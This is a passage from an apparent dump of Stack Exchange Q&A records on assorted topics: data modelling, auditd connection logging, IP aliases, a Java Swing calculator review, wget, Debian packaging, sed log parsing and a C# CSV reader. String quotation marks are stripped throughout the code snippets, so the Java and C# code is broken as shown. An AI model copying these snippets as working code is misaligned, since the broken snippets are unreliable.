destination.I feel like if the business analyst was actually creating a data model, they would be forced to think about these relationships, and have an appreciation for the need of natural or business keys to be part of the spreadsheet for the purposes of smoothly importing the data. The closest they come to business analysis is a big flat list of fields, and that would be fine if it were like any other data dictionary and include data types+relationships, but it isn't. They are just a bunch of names. No indication of what type of data they might hold, and it is up to me to guess. When I have pushed for more detail, they say that it is just busy work.How can I explain the importance of data modelling? How can I tell them what it is and how to do it? It feels impossible, because they don't have an appreciation for its importance. They do however, usually have an interest in helping out in whatever way they can, it's just this in particular has never gotten a motivated response." , "title": "How to show or direct a business analyst to do data modelling?" , "tags": "requirements;systems analysis;data modeling" } { "id": "_unix.153294" , "question": "I am examining the egress IPTABLES log of my computer for yesterday and notice the following:IN= OUT=eth0 SRC=192.168.1.1 DST=69.46.36.10 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=12345 DF PROTO=TCP SPT=56789 DPT=4000 WINDOW=29200 RES=0x00 SYN URGP=0After looking up the list of well known TCP ports, there is only a Diablo II game using port 4000. I don't have the game installed on my computer. I tried but could not determine what other services could be connecting to the port.As this only happen yesterday, if I use netstat, I could be staring at the screen the entire day to catch the service in action. Is there a better way to determine what program or user connected to this particular port?" , "title": "How can I determine what program or user connected to a particular port after the fact?" , "tags": "iptables;tcp" , "accepted_answer": "You can use the audit system to log all connect() system calls.sudo auditctl -a exit,always -F arch=b64 -S connect -k connectLogsudo auditctl -a exit,always -F arch=b32 -S connect -k connectLogThen you can search:sudo ausearch -i -k connectLog -w --host 69.46.36.10Which will show something like:type=SOCKADDR msg=audit(02/09/14 12:31:57.966:60482) : saddr=inet host:69.46.36.10 serv:4000type=SYSCALL msg=audit(02/09/14 12:31:57.966:60482) : arch=x86_64 syscall=connect success=no exit=-4(Interrupted system call) a0=0x3 a1=0x20384b0 a2=0x10 a3=0x7fffbf8c9540 items=0 ppid=21712 pid=25423 auid=stephane uid=stephane gid=stephane euid=stephane suid=stephane fsuid=stephane egid=stephane sgid=stephane fsgid=stephane tty=pts5 ses=4 comm=telnet exe=/usr/bin/telnet.netkit key=connectBTW, I've seen that IP address being resolved from grm.feedjit.com and connection attempts being done to that on 400x ports by iPhones." } { "id": "_unix.228454" , "question": "I am a Linux admin beginner and knew that Linux can do so called ip alias today for the first time.My question: How can one NIC have two IPs at the same time? IP addresses must be identified by MAC address using ARP in general, I think. So, I'm confused that Linux can respond with the same MAC for two different IP requests by ARP, but I'm not sure.Is this guess right?" , "title": "mechanism of IP alias" , "tags": "linux;networking;ip" , "accepted_answer": "ARP requests are the question Who has the address ? The fact that the same interface answers to a bunch of different addresses is no big deal." } { "id": "_codereview.169131" , "question": "Are two points too close?Trying to do the math as efficiently as possible.deltaX + deltaY is going to be > than the actual distance You might use this in game play - are players in range? // testbool distanceTooClose = DistanceTooClose(new System.Windows.Point(12, 12), new System.Windows.Point(0, 0), 17);// end teststatic bool DistanceTooClose(System.Windows.Point x, System.Windows.Point y, Double minDistance){ double deltaX = Math.Abs(y.X - x.X); double deltaY = Math.Abs(y.Y - x.Y); if((deltaX + deltaY) < minDistance) { return false; } double distanceSquared = deltaX * deltaX + deltaY * deltaY; //double distance = Math.Sqrt(distanceSquared); Double minDistanceSquared = minDistance * minDistance; return (distanceSquared <= minDistanceSquared);}" , "title": "Distance too close" , "tags": "c#;performance;.net;computational geometry" , "accepted_answer": "This is something that you should run a benchmark on to see whether the branch is worth avoiding the 3 multiplications. It is very likely that the branch will not be worth it due to how branch prediction works. But that depends on what data you will be feeding into it and in how tight of a loop you call it." } { "id": "_softwareengineering.306395" , "question": "I came from a highly functional and procedural background in programming, and never knew that a type is the same as an interface.As in the Design Patterns book by GoF, it says:A type is a name used to denote a particular interface. We speak of an object as having the type Window if it accepts all requests for the operations defined in the interface named Window. An object may have many types, and widely different objects can share a type. (p. 13)The surprising thing is, I thought of type as char (like a character, or 1 byte), or int (a word, or 4 bytes or 8 bytes), or a pointer to character (a string in C language) before. Maybe even a struct with x and y as coordinate of a point, or an array, as a type, but I never thought of a type being an interface.So it looks like a Car object can be of the type Moveable and Soundable, and a Dog object can be of the type Moveable and Soundable, while a Circle object may be of the type Moveable only, until we decide that a Shape object also need to give out sound, when a user clicks on it, and we let the Shape class implement the Soundable interface and now a Circle object is also of the type Soundable?I wonder when and how it happened? Is it actually said to be so by the GoF book for the first time in 1994 when the book got published? Or is it actually existing idea that came from long time ago? It actually sound exactly the same as Duck Typing, but Duck Typing seems like a new concept that began about in 2003 in the Python and Ruby community, not like an idea that was in 1994 or earlier." , "title": "How and when did it happen that, a type is an interface?" , "tags": "interfaces;history;dynamic typing;data types;type" } { "id": "_unix.111152" , "question": "I am trying to recursively download http://ccachicago.org, and am getting exactly one file, the root index.html, downloaded.I've looked at Download recursively with wget and started using the recommended -e robots=off, but it still behaves the same.How, with wget or some other tool, can I download a copy of the site?" , "title": "Why is wget -r -e robots=off http://ccachicago.org not acting recursively?" , "tags": "wget;download" , "accepted_answer": "you are asking wget to do a recursive download of http://ccachicago.org, but this URL doesn't provide any direct content. instead it is just a re-direct to http://www.ccachicago.org (which you haven't told wget to fetch recursively)..if you tell wget to download the correct URL it will work:wget -r -e robots=off http://www...." } { "id": "_datascience.6174" , "question": "I am working on Rstudio on a server which has 250GB ram. But its taking too much time to handle a 2GB data file. how should i speed up my work?" , "title": "Rstudio using 2.5% of 250GB RAM. how to Increase it" , "tags": "r;rstudio" } { "id": "_webapps.3788" , "question": "I was wondering if I can get read confirmation from messages sent through Gmail. Conversely, Gmail's behavior concerning confirmations from senders is unclear to me. Does it automatically send read responses, or does it simply ignore them?My question concerns exclusively native Gmail features, without plugins or <img> tag hacks. And please: I do know that e-mail confirmations are a weak system and can be easily circumvented and so on. Enough preaching can be found here." , "title": "Gmail read confirmation support" , "tags": "gmail" , "accepted_answer": "Ok, so you are asking about both directions, not just sending them.It does not matter whether you are sending or receiving regarding the web UI. You cannot do anything concerning read receipts in GMail. If you send a message from Outlook with a Read Receipt, GMail ignores it." } { "id": "_unix.97289" , "question": "It's all very confusing. There are different examples out there, for e.g.:<package-name>_<epoch>:<upstream-version>-<debian.version>-<architecture>.debsource: debian package file namesIs section 5.6.12 Version or the Debian Policy Manual also related to the actual package filename too? Or only to the fields in the control file?In this wiki topic about repository formats it doesn't really say anything about conventions, same in the developers best practices guide.Maybe I'm just looking for the wrong thing, please help me and tell me where to find the Debian package name conventions. I'm especially curious where to put the Debian codename. I want to do something like this:<package-name>_<version>.<revision>-<debiancodename>_<architecture>.debwhere <debiancodename> is just squeeze or wheezy." , "title": "Debian package naming convention?" , "tags": "debian;package management;packaging" , "accepted_answer": "My understanding is that you want to distribute/deploy a package to multiple Debian based distributions.In the Debian/Ubuntu world, you should not provide individual .deb file to download and install. Instead you should provide an APT repository. (in the Fedora/Red Hat/CentOS world I would make a similar advice to provide a YUM repository). Not only does is solves issue of how to name deb file, but repository is an effective way to provide newer version of your package, including bug-fix and security updates. Creating an APT repository is beyond the purpose of this page/question, just search for how to setup an apt repositoryNow back to your question: package naming convention:When you generate the package with dpkg-buildpackage, the package will be named in a standard way. Quoting dpkg-name manpage:A full package name consists of package_version_architecture.package-type as specified in the control file of the package.package_version_architecture.package-typeThe Debian Policy is the right place to know the syntax of the control files: name (for both Source and binary packages), version, architecture, package-type.There is no provision to state the distribution, because this is not how the way thing goes.If you need to compile the same version of a package for multiple distributions, you will change the version field (in the debian/changelog and debian/control file). Some people use the distribution name in the version field. for example openssl:0.9.8o-4squeeze14 1.0.1e-2+deb7u141.0.1k-1 If that's what you want to do, make sure to read debian-policy about debian_revision in version." } { "id": "_cs.60131" , "question": "I've been reading about hidden Markov models and stumbled upon A Tutorial on Hidden Markov Models and Selected Applications in Speech Recognition by Lawrence R. Rabiner (Proc. IEEE, 77(2):257–286, 1989; PDF). The following appears as equation 49 in the section about continuous observations in hidden Markov models:$$b_j(O) = \\sum_{m=1}^M c_{jm}\\mathfrak{N}[O, \\mu_{jm}, U_{jm}], \\quad 1\\leq j\\leq N\\,.$$What I want to know is how to use this equation given an estimation of the transition, emission, initial probabilities and a given continuous observed sequence to train the hidden Markov model using the Baum–Welch algorithm.Also I haven't read the rest of the paper, since I already have a good amount of knowledge about discrete hidden Markov models. I'm just trying to learn how to use continuous time series data to train an HMM." , "title": "Continuous Observation Densities in HMM" , "tags": "machine learning;hidden markov models" } { "id": "_unix.370593" , "question": "I have given the reboot command unexpectedly,to prevent this issue need to assign password confirmation for shutdown or reboot activities even though logging as root.Kindly suggest to prevent this issue.Thanks in advance." , "title": "how to prevent the manual shutdown or Reboot to set the passwd even though login as root" , "tags": "passwd" } { "id": "_codereview.92643" , "question": "I wrote a simple calculator with general operations. Give me please some advice, suggestions, and criticism about my code: code design, readability, mistakes.Calculator.javaimport javax.swing.*;public class Calculator { public static void main(String[] args) { CalculatorView calculator = new CalculatorView(); // Windows settings calculator.setTitle(Simple Calculator); calculator.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE); }}CalculatorEngine.java public class CalculatorEngine { private enum Operator { ADD, SUBTRACT, MULTIPLY, DIVIDE } private double currentTotal; public String getTotalString() { return currentTotal % 1.0 == 0 ? Integer.toString((int) currentTotal) : String.valueOf(currentTotal); } public void equal(String number) { currentTotal = Double.parseDouble(number); } public void add(String number) { convertToDouble(number, Operator.ADD); } public void subtract(String number) { convertToDouble(number, Operator.SUBTRACT); } public void multiply(String number) { convertToDouble(number, Operator.MULTIPLY); } public void divide(String number) { convertToDouble(number, Operator.DIVIDE); } private void convertToDouble(String number, Operator operator) { double dblNumber = Double.parseDouble(number); switch (operator) { case ADD: add(dblNumber); break; case SUBTRACT: subtract(dblNumber); break; case MULTIPLY: multiply(dblNumber); break; case DIVIDE: divide(dblNumber); break; default: throw new AssertionError(operator.name()); } } private void add(double number) { currentTotal += number % 1.0 == 0 ? (int) number : number; } private void subtract(double number) { currentTotal -= number % 1.0 == 0 ? (int) number : number; } private void multiply(double number) { currentTotal *= number % 1.0 == 0 ? (int) number : number; } private void divide(double number) { currentTotal /= number % 1.0 == 0 ? (int) number : number; }}CalculatorView.javaimport javax.swing.*;import java.awt.*;import java.awt.event.ActionEvent;import java.awt.event.ActionListener;public class CalculatorView extends JFrame { // Declaring fields private JTextField display; private static final Font BOLD_FONT = new Font(Font.MONOSPACED, Font.BOLD, 20); // Variables for calculator's state private boolean startNumber = true; // expecting number, not operation private String prevOperation = =; // previous operation private CalculatorEngine engine = new CalculatorEngine(); // Reference to CalculatorEngine public CalculatorView() { // Window settings Dimension size = new Dimension(320, 300); setPreferredSize(size); setResizable(false); // Display field display = new JTextField(0, 18); display.setFont(BOLD_FONT); display.setHorizontalAlignment(JTextField.RIGHT); // Operations panel 1 ActionListener operationListener = new OperationListener(); JPanel operationPanel1 = new JPanel(); String[] operationPanelNames1 = new String[]{+, -, *, /}; operationPanel1.setLayout(new GridLayout(2, 2, 2, 2)); for (String anOperationPanelNames1 : operationPanelNames1) { JButton b = new JButton(anOperationPanelNames1); operationPanel1.add(b); b.addActionListener(operationListener); } // Operations panel 2 JPanel operationPanel2 = new JPanel(); operationPanel2.setLayout(new GridLayout(1, 1, 2, 2)); JButton clearButton = new JButton(C); clearButton.addActionListener(new ClearKeyListener()); operationPanel2.add(clearButton); JButton equalButton = new JButton(=); equalButton.addActionListener(operationListener); operationPanel2.add(equalButton); // Buttons panel JPanel buttonPanel = new JPanel(); ActionListener numberListener = new NumberKeyListener(); String[] buttonPanelNames = new String[]{7, 8, 9, 4, 5, 6, 1, 2, 3, , 0, }; buttonPanel.setLayout(new GridLayout(4, 3, 2, 2)); for (String buttonPanelName : buttonPanelNames) { JButton b = new JButton(buttonPanelName); if (buttonPanelName.equals( )) { b.setEnabled(false); } b.addActionListener(numberListener); buttonPanel.add(b); } // Main panel JPanel mainPanel = new JPanel(); mainPanel.setLayout(new BorderLayout()); mainPanel.add(display, BorderLayout.NORTH); mainPanel.add(operationPanel1, BorderLayout.EAST); mainPanel.add(operationPanel2, BorderLayout.SOUTH); mainPanel.add(buttonPanel, BorderLayout.CENTER); // Window build setContentPane(mainPanel); pack(); setVisible(true); } private void actionClear() { startNumber = true; display.setText(0); prevOperation = =; engine.equal(0); } class OperationListener implements ActionListener { @Override public void actionPerformed(ActionEvent e) { if (startNumber) { actionClear(); display.setText(ERROR - wrong operation); } else { startNumber = true; try { String displayText = display.getText(); switch (prevOperation) { case =: engine.equal(displayText); break; case +: engine.add(displayText); break; case -: engine.subtract(displayText); break; case /: engine.divide(displayText); break; case *: engine.multiply(displayText); break; } display.setText( + engine.getTotalString()); } catch (NumberFormatException ex) { actionClear(); } prevOperation = e.getActionCommand(); } } } class NumberKeyListener implements ActionListener { @Override public void actionPerformed(ActionEvent e) { String digit = e.getActionCommand(); if (startNumber) { display.setText(digit); startNumber = false; } else { display.setText(display.getText() + digit); } } } class ClearKeyListener implements ActionListener { @Override public void actionPerformed(ActionEvent e) { actionClear(); } }}" , "title": "Simple calculator in Java using Swing and AWT" , "tags": "java;swing;calculator;awt" , "accepted_answer": "Usability issuesSome things don't work as I would expect:Pressing the equals button twice in a row or after clearing gives ERROR - wrong operationPressing an operation after the equal buttons (to continue calculations), gives ERROR - wrong operationIt would be good to optimize make the user interface a bit friendlier.Separation of concernsIt's good that you separated the engine, the view, and the main class that just sets up and runs everything.But it would be good to go further.The calculations are performed by the engine,and controlled by an action listener implemented inside the view,using a switch.Instead of a switch,it would be better to abstract the calculation logic,for example using an Operator interface with an apply method.The Calculator class could configure CalculatorView with an arbitrary collection of Operator implementations.In that setup,CalculatorView will not be aware of any of the calculation logic,it will just know that each operation implements Operator,and has an apply method to perform some calculation.That will be more flexible and extensible.NamingMany of the method and variable names are quite good,but there are some bad ones that stand out, for example in this code: for (String anOperationPanelNames1 : operationPanelNames1) { JButton b = new JButton(anOperationPanelNames1); operationPanel1.add(b); b.addActionListener(operationListener); }anOperationPanelNames1 is the most terrible name in the code.b is not great either, spelling out to button would make it a tad more readable, and not terribly long.There is operationPanel1 and operationPanel2,but they are quite different in nature.The first contains operators used in calculations,the second is more about controlling the application,which is different from performing calculations.So instead of numbering variables,you could give them more meaningful names." } { "id": "_unix.378742" , "question": "I have a mail.log line and using sed and pipes I can extract the subject, the sender, and the recipient of the mail, echo Jul 15 09:04:38 mail postfix/cleanup[36034]: 4A4E5600A5DE0: info: header Subject: The tittle of the message from localhost[127.0.0.1]; from=<sender01@mydomain> to=<recipient01@mydomain> proto=ESMTP helo=<mail.mydomain> | sed -e 's/^.*Subject: //' -e 's/\\]//' -e 's/from localhost//' -e 's/^.\\];//' |sed -e 's/\\[127.0.0.1; //' -e 's/proto=ESMTP helo=<mail.mydomain>//'I have the outputThe tittle of the message from=<sender01@mydomain> to=<recipient01@mydomain>my desired output isJul 15 09:04:38 The tittle of the message from=<sender01@mydomain> to=<recipient01@mydomain>How to extract the date and added it to the output?" , "title": "print the date of a mail.log line" , "tags": "sed;logs;date;output" , "accepted_answer": "Ugly but put this at the beginning of the sed statement: -e 's/^\\([[:alpha:]]+ [[:digit:]]+ [[:digit:]]+:[[:digit:]]+:[[:digit:]]+\\).*Subject:\\(.*\\)/\\1\\2/'Or if you always know that ' mail postfix' will be in the text at that position you can just use: -e 's/^\\(.*\\) mail postfix.*Subject:\\(.*\\)/\\1\\2/'And other variations are possible. The key is to capture the date, skip over parts you don't care about, and again capture the remainder that you still need to process. To capture surround with \\( and \\) and to print what you've captured use \\n where n is the position of a particular capture (first is 1, second is 2, etc.)And now that you know this you can probably figure out how to eliminate all of the separate directives (-e), use multiple capture groups, and get it down to a single sed expression. " } { "id": "_codereview.98888" , "question": "- INTERRUPT HANDLER -> READ FROM IN.1 THROUGH IN.4> WRITE THE INPUT NUMBER WHEN THE VALUE GOES FROM 0 TO 1> TWO INTERRUPTS WILL NEVER CHANGE IN THE SAME INPUT CYCLEI was stuck on this one when I went to bed last night. But of course, like any good programmer, sleeping is when I get most of my work done.My primary goal here is fewer cycle counts. If the above... erm, graph... is anything to go by, it looks like I could have quite a bit less cycle counts. Secondary would be reducing the instruction count (but not at the expense of cycle counts). I can imagine how to get it down to 7 nodes rather than 9, but I can't imagine that also makes the program more efficient (in terms of cycle counts).So, how can I reduce the cycle counts here?ROW 1, COLUMN 1 (IN.1)MOV UP, ACCSTART: MOV 0, DOWN JEZ CHECK JNZ CONTINUECHECK: MOV UP, ACC JEZ START MOV 1, DOWNCONTINUE: MOV UP, ACC JMP STARTROW 1, COLUMN 2 (IN.2)MOV UP, ACCSTART: MOV 0, DOWN JEZ CHECK JNZ CONTINUECHECK: MOV UP, ACC JEZ START MOV 2, DOWNCONTINUE: MOV UP, ACC JMP STARTROW 1, COLUMN 3 (IN.3)MOV UP, ACCSTART: MOV 0, DOWN JEZ CHECK JNZ CONTINUECHECK: MOV UP, ACC JEZ START MOV 3, DOWNCONTINUE: MOV UP, ACC JMP STARTROW 1, COLUMN 4 (IN.4)MOV UP, ACCSTART: MOV 0, DOWN JEZ CHECK JNZ CONTINUECHECK: MOV UP, ACC JEZ START MOV 4, DOWNCONTINUE: MOV UP, ACC JMP STARTROW 2, COLUMN 1MOV UP, RIGHTROW 2, COLUMN 2ADD LEFTADD UPMOV ACC, RIGHTMOV 0, ACCROW 2, COLUMN 3ADD LEFTADD UPADD RIGHTMOV ACC, DOWNMOV 0, ACCROW 2, COLUMN 4MOV UP, LEFTROW 3, COLUMN 3 (OUT)MOV ANY, DOWN" , "title": "Assembling an Interrupt Handler" , "tags": "performance;assembly;tis 100" } { "id": "_webapps.9585" , "question": "I'm testing some mail sending software that I've written and I'm sending emails in text/plain format with an alternative format of text/html.How do I toggle between the text/plain and text/html views in a web based mail client? I'm using Yahoo, Hotmail, and Gmail for my testing so the method to toggle the views in any one of those clients will work for me.(At the moment all the clients show me the email in text/html format but I want to verify that the text/plain format is good but can't see it.)" , "title": "Toggle text/plain and text/html in email client such as yahoo, gmail, or hotmail" , "tags": "email" , "accepted_answer": "In Gmail, I think your only option is to click the arrow on the top right of the message, and then choose Show Original.The message is most likely to be sent in MIME format, so you can scroll down past the headers and look for something like this: Content-Type: text/plain. In MIME format, there are unique strings (boundaries) between each message part, I believe that each email client chooses its own string to use. You can find out what is being used if you locate the following header:Content-Type: multipart/alternative; boundary=-----------=Sample_Msg_Part156165161321654In this case, the string -----------=Sample_Msg_Part156165161321654 is used to delimit the different message parts.Here's an example...Let's say that the message has the following content:From: user@example.comTo: user@example.comSubject: TestMIME-Version: 1.0Content-Type: multipart/alternative; boundary=-----------=Sample_Msg_Part156165161321654-----------=Sample_Msg_Part156165161321654Content-Type: text/plainThis is a sample message. This is the text portion of the message.-----------=Sample_Msg_Part156165161321654Content-Type: text/htmlThis is a sample message. This is the <b>html</b> portionof the message.-----------=Sample_Msg_Part156165161321654... the plain text would look like this:This is a sample message. This is the text portion of the message.... while the HTML would look like this:This is a sample message. This is the html portion of the message." } { "id": "_webapps.15961" , "question": "I want to see only my subscriptions on my YouTube home. Those recommendations are unnecessary pollution." , "title": "How to remove recommended items from YouTube home page?" , "tags": "youtube" , "accepted_answer": "There is a filter at the very top of the homepage:Switch to Subscriptions and you'll see only subscriptions..." } { "id": "_reverseengineering.15345" , "question": "This happens a lot where when I am reversing a program in a disassembler or debugger, I run into something like this:push eax ; lParampush 1 ; wParampush 80h ; Msgpush ecx ; hWndcall esi ; SendMessageAIn order to effectively reverse this, I need to know what 80h is. The problem is that when compiled (preprocessed), all of the Windows constant macros obviously get turned into numbers so I no longer have the semantic meanings. I also cannot go and search for SendMessage 0x80 because there's no real context there either.The question is, what are some tips in figuring out a Microsoft Windows constant macro name when given only a function and a value like this? I was able to go to SendMessage on MSDN and then from there, look at the Msg parameter which lead me to the System-Defined Messages page. However, like many other MSDN pages, this one only defines the macros by description, rather than provides a table of which value each one corresponds to. This has actually been a regular issue that I've ran into in reversing Windows applications. Another solution I've discovered is to try and locate the .h file for the corresponding macros online and then search for the value there. But this situation is less than ideal because I have no idea if the information is accurate up-to-date, but many times I also do not even know which header file would contain the definition." , "title": "What are ways to find Windows constant macro definitions?" , "tags": "windows;api" } { "id": "_webmaster.105050" , "question": "Perhaps I'm not getting it as should, but as far as I got it, CloudFlare should use local(geographically) servers, relative to the user, to deliver the content. But instead, I'm getting all the time US servers(I'm in Europe).How do I fix this?" , "title": "CloudFlare isn't working as CDN" , "tags": "cdn;cloudflare" , "accepted_answer": "You're likely using a geolocation service to determine the location of the IP address. This may not accurately tell you where the server for that IP is located - Cloudflare owns large IP blocks. These blocks will be registered to them somewhere in the USA and perhaps the servers for these IPs are even located there. However, if they move a B block in that range to Europe, it means a 1 digit difference in the IP changes the location completely. 104.16.0.0/12 for example is a huge range of IPs. That's over 1.4 mil IPs split into around 64k B blocks (excuse my napkin math). The ISPs would be aware of an edge router's location but IP block registration databases wouldn't. Do a ping command and use response time and TTL to measure distance. TTL will tell you how many routers your ping has bounced through - even if response time doesn't waver much you'll be able to see that it's gone a greater distance. For further detail, a tracert command (Windows) will also reveal more about location by attempting to resolve and ping each individual router along the way. Done from different origin IPs, you'll also be able to see if your ISP is doing any redirecting for Cloudflare in order to shorten distance travelled.Edit: Another answer has pointed out you can also use yourdomain.com/cdn-cgi/trace in order to get a debug output with the 'colo=' code indicating the location of the server being used. Example output:fl=21g22h=yourdomain.co.ukip=your.ip.addressts=1497653403.144visit_scheme=httpsuag=Mozilla Compatible Agentcolo=LHR // Datacentre locationspdy=h2http=h2loc=GB" } { "id": "_webmaster.52458" , "question": "I just discovered that Google have indexed the preview version of my site with a subdomain previewdns.com appended to my actual domain. I need to remove those URL's from the search index. How can I do so?" , "title": "Removing preview DNS from Google Index" , "tags": "google index" } { "id": "_cs.70016" , "question": "I am stroking ellipse with Python scripts. However, due to limited precision of floating numbers to represent irrational numbers, outline of the ellipse will not be accurate and some other unnecessary points will be regarded as ellipse points. Blue points on the graph are entry points. That is, these two points are substituted to the ellipse formula. Can anyone please enlighten me on how to get rid of those unnecessary points? " , "title": "Excluding needless points when stroking ellipses" , "tags": "graphs;pattern recognition" } { "id": "_unix.258815" , "question": "I am trying to create directories and subdirectories as another user, from inside a shell script.The problem is, I am running the script as root, so the directory is being created with root ownership.I have a text file containing the names of directories and subdirectories, and I am using this command to do it:cat dirname.txt | xargs -L 1 mkdirWhich looks like this:cet/mntcet/mnt/jklcet/mnj/lokI tried sudo but only the parent directory gets the desired user ownership." , "title": "Create Directories and Subdirectories as Another User" , "tags": "permissions;scripting" , "accepted_answer": "Try something like:cat dirName.txt | xargs -L 1 sudo -u ubuntu mkdir -p" } { "id": "_webmaster.18498" , "question": "I visit a good number of websites - around 100-200 - that don't offer RSS resources. I'm going to check through that list from time to time anyway but I could avoid wasting time in sites that weren't updated since last visit.Is there any tool that can provide me quick details any/major changes?" , "title": "How to keep track of websites updates?" , "tags": "tracking" , "accepted_answer": "It's not the ideal solution, (you would need a bot spidering the sites in question and looking for updates* - I am not aware of any free services which would provide this service, but there may be paid ones) but you could use Google Alerts to alert on an exact phrase which appears in the site template for each of the sites.(* Disappointingly, Google's site: operator is not available within Google Alerts)Example:Sign in to your Google account (Gmail) and go to the Google Alerts pageEnter the exact phrase Pro Webmasters Stack Exchange (with quotation marks) in the textbox at the top of the pageSelect:Type: EverythingHow often: As-it-happens (or your preference)Volume: All resultsDeliver to: FeedThis configuration would compile a feed (stored in Google Reader) with the results which Google picks up (though not necessarily any publicly-available change).Edit: I have not tested it, but it appears as though creating the alerts as feed items (which, by the way, you will need to add to folders using the Manage Subscriptions dialog in Google Reader in order to see) will also create a publicly-accessible Atom feed which could be monitored from any other syndicated feed reader (which may be particularly useful if you are automating your solution - you could programmatically filter out results from domains other than those you wish to monitor)." } { "id": "_codereview.145860" , "question": "UPDATE: I have refactored the code into a Gist using @Dmitry's answer as a guide. The update is much simpler to grok, implements IDisposable, and is roughly thirty lines shorter.I wrote this over the weekend for fun and am looking for critique. Style and readability comments are welcome but what I truly need to know is:Does it function as advertised?Are there any lingering bugs that I've missed?Can you come up with a way to make it faster?When I ask these of myself I get 1 = yes, 2 = no, and 3 = maaaaaybe. I'd like to add other features like skipping the header row, inferring data types, validating field counts, etc. but I'll be tackling that kind of thing via derivation or extension since such logic will be simpler to implement if based on an existing IEnumerable<IEnumerable<>> like this one.FLAME ON;Usage:foreach (var row in DelimitedReader.Create(fileName)) { foreach (var field in row) { // do stuff }}Features:Accurate: RFC4180 CompliantEfficient: memory usage is (roughly) equal to the size of the largest rowFast: average throughput of ~25 megabytes per secondFlexible: the default encoding and separator/escape characters can be user-definedLightweight: single 160 line class with no external dependenciesCode:using System;using System.Collections;using System.Collections.Generic;using System.IO;using System.Text;namespace ByteTerrace{ public class DelimitedReader : IEnumerable<IEnumerable<string>> { private const int DEFAULT_CHUNK_SIZE = 128; private const char DEFAULT_ESCAPE_CHAR = ''; private const char DEFAULT_SEPARATOR_CHAR = ','; private readonly char[] m_buffer; private readonly Encoding m_encoding; private readonly char m_escapeChar; private readonly string m_fileName; private readonly char m_separatorChar; public char[] Buffer { get { return m_buffer; } } public Encoding Encoding { get { return m_encoding; } } public char EscapeChar { get { return m_escapeChar; } } public string FileName { get { return m_fileName; } } public char SeparatorChar { get { return m_separatorChar; } } public DelimitedReader(string fileName, char separatorChar = DEFAULT_SEPARATOR_CHAR, char escapeChar = DEFAULT_ESCAPE_CHAR, Encoding encoding = null, int bufferSize = DEFAULT_CHUNK_SIZE) { m_buffer = new char[bufferSize]; m_encoding = (encoding ?? Encoding.UTF8); m_escapeChar = escapeChar; m_fileName = fileName; m_separatorChar = separatorChar; } public IEnumerator<IEnumerable<string>> GetEnumerator() { return ReadFields().GetEnumerator(); } IEnumerator IEnumerable.GetEnumerator() { return GetEnumerator(); } IEnumerable<IEnumerable<string>> ReadFields() { return ReadFields(ReadAllChunks(FileName, Encoding, Buffer), SeparatorChar, EscapeChar); } public static DelimitedReader Create(string fileName, char separatorChar = DEFAULT_SEPARATOR_CHAR, char escapeChar = DEFAULT_ESCAPE_CHAR, Encoding encoding = null, int bufferSize = DEFAULT_CHUNK_SIZE) { return new DelimitedReader(fileName, separatorChar, escapeChar, encoding, bufferSize); } public static IEnumerable<char[]> ReadAllChunks(TextReader reader, char[] buffer) { var count = buffer.Length; var numBytesRead = 0; while ((numBytesRead = reader.ReadBlock(buffer, 0, count)) == count) { yield return buffer; } if (numBytesRead > 0) { Array.Resize(ref buffer, numBytesRead); yield return buffer; } } public static IEnumerable<char[]> ReadAllChunks(string fileName, Encoding encoding, char[] buffer) { return ReadAllChunks(new StreamReader(new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read, 4096, FileOptions.SequentialScan), encoding), buffer); } public static string ReadField(StringBuilder buffer, int offset, int position, char escapeChar) { if (buffer[offset] == escapeChar) { if (position - offset != 2) { return buffer.ToString(offset + 1, position - offset - 3); } else { return string.Empty; } } else { return buffer.ToString(offset, position - offset - 1); } } public static IEnumerable<IEnumerable<string>> ReadFields(IEnumerable<char[]> chunks, char separatorChar = DEFAULT_SEPARATOR_CHAR, char escapeChar = DEFAULT_ESCAPE_CHAR) { var buffer = new StringBuilder(); var fields = new List<string>(); var endOfBuffer = 0; var escaping = false; var offset = 0; var position = 0; var head0 = '\\0'; var head1 = head0; foreach (var chunk in chunks) { buffer.Append(chunk, 0, chunk.Length); endOfBuffer = buffer.Length; while (position < endOfBuffer) { head1 = head0; if ((head0 = buffer[position++]) == escapeChar) { escaping = !escaping; if ((head0 == escapeChar) && (head1 == escapeChar)) { endOfBuffer--; position--; buffer.Remove(position, 1); } } if (!escaping) { if ((head0 == '\\n') || (head0 == '\\r')) { if ((head1 != '\\r') || (head0 == '\\r')) { fields.Add(ReadField(buffer, offset, position, escapeChar)); yield return fields; buffer.Remove(0, position); endOfBuffer = buffer.Length; fields.Clear(); offset = 0; position = 0; } else { offset++; } } else if (head0 == separatorChar) { fields.Add(ReadField(buffer, offset, position, escapeChar)); offset = position; } } } } if (buffer.Length > 0) { fields.Add(buffer.ToString()); } if (fields.Count > 0) { yield return fields; } } }}" , "title": "Delimited File Reader" , "tags": "c#;strings;parsing" , "accepted_answer": "I'd prefer to rely on the builtin functionality as much as possible. I want to believe that use of the builtin stuff makes my code more readable and probably faster.So my proposal is:public class DelimitedReader : IEnumerable<string[]>, IDisposable{ private readonly StreamReader reader; public DelimitedReader(string fileName, Encoding encoding = null) : this(new StreamReader(new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.ReadWrite), encoding ?? Encoding.UTF8, encoding == null)) { } public DelimitedReader(StreamReader reader) { this.reader = reader; } public void Dispose() { reader.Dispose(); } public char EscapeChar { get; set; } = ''; public char SeparatorChar { get; set; } = ','; private string[] ParseLine(string line) { List<string> fields = new List<string>(); char[] charsToSeek = { EscapeChar, SeparatorChar }; bool isEscaped = false; int prevPos = 0; while (prevPos < line.Length) { // If in the escaped mode, seek for the escape char only. // Otherwise, seek for the both chars. int nextPos = isEscaped ? line.IndexOf(EscapeChar, prevPos) : line.IndexOfAny(charsToSeek, prevPos); if (nextPos == -1) { // We reached the end of the line if (!isEscaped) { // Add the rest of the line fields.Add(line.Substring(prevPos, line.Length - prevPos).Trim()); break; } // If there is no closing escape char throw new InvalidDataException(The following line has invalid format: + line); } char nextChar = line[nextPos]; if (nextChar == EscapeChar) { // The next char is the escape char if (isEscaped) { // If already in the escaped mode fields.Add(line.Substring(prevPos, nextPos - prevPos)); // No Trim } isEscaped = !isEscaped; // Toggle mode } else { // The next char is the delimiter fields.Add(line.Substring(prevPos, nextPos - prevPos).Trim()); // Trim } prevPos = nextPos + 1; } return fields.ToArray(); } public IEnumerator<string[]> GetEnumerator() { while (!reader.EndOfStream) { yield return ParseLine(reader.ReadLine()); } } IEnumerator 